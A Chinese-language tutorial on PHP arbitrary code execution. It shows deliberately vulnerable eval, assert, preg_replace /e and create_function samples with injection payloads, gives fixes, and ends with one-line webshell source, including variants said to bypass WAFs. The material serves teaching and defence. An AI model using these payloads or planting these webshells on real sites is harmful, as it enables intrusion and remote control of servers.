任意代码执行

0x00 任意代码执行原理

  • 当应用在调用一些能将字符串转化成代码的函数(如PHP中的eval)时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞。狭义的代码注入通常指将可执行代码注入到当前页面中,如PHP的eval函数,可以将字符串代表的代码作为PHP代码执行,当用户能够控制这段字符串时,将产生代码注入漏洞(也称命令执行)。广义上的代码注入,可以覆盖大半安全漏洞的分类。


  • 0x01 代码执行漏洞的常用函数

    PHP:eval,assert,preg_replace+/e模式
    Javascript:eval
    Vbscript:Execute,Eval
    Python:exec
    Java:Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等,这些都能够造成代码执行漏洞。
    本文主要介绍php的常用函数。

    0x02 php漏洞分类

    • eval(),assert()

    • preg_repalce + /e模式


    • 0x03 任意代码执行漏洞的利用

      eval()利用1

      本地测试代码

      1
      2
      3
      4
      5
      <?php
      $data = $_GET['data'];
      eval("\$ret = $data;");
      echo $ret;
      ?>

      因为未对GET的参数进行过滤,通过eval可执行任意代码。
      截图

      1
      2
      3
      payloda:
      ?data=phpinfo() 或
      ?data=1;phpinfo()

      eval()利用2

      1
      2
      3
      4
      5
      6
      <?php
      $data = $_GET['data'];
      echo "\$ret= '$data'";
      eval("\$ret = strtolower('$data');");
      echo $ret;
      ?>

      由于对传入参数直接进行回显,可以通过闭合单引号使eval奏效。
      截图

      1
      2
      3
      payload:
      ?data=');phpinfo();//
      ?data=');@eval($_POST[a]);//

      eval()利用3

      1
      2
      3
      4
      5
      <?php
      $data = $_GET['data'];
      eval("\$ret = strtolower(\"$data\");");
      echo $ret;
      ?>

    • PHP分析双引号中的数据是否含有变量(并解析它的值),当用双引号时,{}用来界定变量的界限。

    • 由于php中的变量名的格式为: $+变量名
      变量名: 变量名是由字母,数字,下划线组成。
      变量名除了直接写出来的“字母,数字,下划线”,也可以用变量代替,或者是某函数的返回值,只要返回值符合“字母,数字,下划线”即可。

    • {}是“块”的意思,是为了防止php把函数名而加上的“定界符”。由于 phpinfo 是个比较特殊的函数.执行此函数,PHP 直接输出. 它的返回值是 bool


    • 截图

      1
      2
      3
      payload
      ?data={${phpinfo()}}
      ?data=${@eval($_POST[x])}

      assert()利用

    • 与eval类似,字符串被assert()当做PHP代码来执行。


    • 例子:
      1
      2
      3
      <?php 
      assert($_REQUEST[data]);
      ?>

      1
      2
      payload:
      ?data=phpinfo()

      截图

      preg_replace()利用

      1
      mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

      搜索subject中匹配pattern部分,以replacement进行替换。

    • preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码。


    • 示例代码1:
      1
      2
      3
      <?php 
      @preg_replace("/abc/e",$_REQUEST['data'],"abcd");
      ?>

      1
      2
      payload:
      ?data=phpinfo()

      截图
      示例代码2:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      <?php
      $data = $_GET['data'];
      echo $data;
      preg_replace('/<data>(.*)<\/data>/e', '$ret = "\\1";',$data);
      echo $ret;
      /*
      注:PHP 5.5.0 /e 修饰符已经被弃用
      */
      ?>

      1
      2
      3
      4
      payload:
      ?data=<data>{${phpinfo()}}
      //由于PHP版本不同,也可能出现下面的payload
      ?data=<data>${phpinfo()}

      截图

      create_function()利用

    • create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。


    • 代码示例:
      1
      2
      3
      4
      <?php 
      $func =create_function('',$_REQUEST['data']);
      $func();
      ?>

      1
      2
      payload:
      ?data=phpinfo();

      截图

      0x04 修复方案

      eval()

    • 能使用json保存数组、对象就使用json格式,不要将php对象保存成字符串,否则读取的时候需要使用eval

    • 对于必须使用eval的情况,一定要保证用户不能轻易接触eval的参数(或者用正则判断输入的数据格式)

    • 对字符串,一定要使用单引号包裹可控制代码,并在插入前进行addslashes


    • 1
      2
      $data = addslashes($data); 
      eval("\$data = deal('$data');");

      preg_replace()

    • 放弃使用preg_replace的e修饰符

    • 使用preg_replace_callback()替换

    • 如果非要使用preg_replace()+e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹

    • 0x05 危害

    • 一句话木马

    • ###什么是一句话木马
      一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数种变形,但本质是不变的:木马的函数执行了我们发送的命令。

      ###如何发送命令,发送的命令怎样执行
      可以通过GET、POST、COOKIE这三种方式向一个网站提交数据,一句话木马用$_GET[‘’]、$_POST[‘’]、$_COOKIE[‘’]接受我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。所以经典的一句话木马大多数都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。举个例子:

      1
      <?php eval($_POST['dou']); ?>

      其中eval就是执行命令的函数,$_POST[‘a’]就是接收的数据。
      eval函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。
      这里做一个简单的测试。先在test.php里写入一句话木马。
      截图
      因为木马是接收post请求中dou的数据($_POST[‘dou’]),所以必须以post方法发送数据并且将要执行的代码赋值给 dou

      ###其他制作一句话木马的函数
      除了eval这个函数之外,肯定还有许多函数可以做到相同的功能,就比如assert。这个函数用法和eval一样,直接替换就行。这里介绍一些其他函数。

      ####create_function()函数:

      1
      2
      3
      4
      <?php
      $fun=create_function('',$_POST['dou']);
      $fun();
      ?>

      把用户传递的数据生成一个函数fun(),然后再执行fun().
      使用方法与上面一样。

      ####回调函数call_user_func():

      1
      2
      3
      <?php
      @call_user_func(assert,$_POST['dou']);
      ?>

      call_user_func这个函数可以调用其他函数,被调用的函数是call_user_func的第一个参数,被调用的函数的参数是call_user_func的第二个参数。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。

      ####preg_replace()函数:

      1
      2
      3
      <?php
      @preg_replace("/abcde/e",$_POST['dou'],"abcdefg");
      ?>

      这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能,可执行命令的功能。这个函数的第一个参数是正则表达式,按照php的格式,表达式在两个"/"之间。如果在这个表达式的末位加上e,那么这个函数的第二个参数就会被当做代码执行。